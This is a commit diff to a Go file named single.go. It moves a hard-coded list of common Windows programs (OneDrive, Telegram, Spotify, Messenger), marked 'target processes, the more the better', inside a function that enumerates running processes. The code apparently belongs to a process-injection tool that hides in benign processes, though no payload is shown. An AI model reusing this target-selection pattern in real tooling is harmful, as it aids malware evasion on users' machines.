Update single.go

This commit is contained in:
s1egesystems 2020-02-27 23:08:18 +00:00 committed by GitHub
parent 518415fe23
commit 31e67757ce
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 3 deletions

View File

@ -31,12 +31,11 @@ func getprocname(id uint32) string {
} }
func getpid() uint32 { func getpid() uint32 {
// enter target processes here, the more the better..
target_procs := []string{"OneDrive.exe", "Telegram.exe", "Spotify.exe", "Messenger.exe"}
sz := uint32(1000) sz := uint32(1000)
procs := make([]uint32, sz) procs := make([]uint32, sz)
var bytesReturned uint32 var bytesReturned uint32
// enter target processes here, the more the better..
target_procs := []string{"OneDrive.exe", "Telegram.exe", "Spotify.exe", "Messenger.exe"}
for _,proc := range target_procs { for _,proc := range target_procs {
if w32.EnumProcesses(procs, sz, &bytesReturned) { if w32.EnumProcesses(procs, sz, &bytesReturned) {
for _, pid := range procs[:int(bytesReturned)/4] { for _, pid := range procs[:int(bytesReturned)/4] {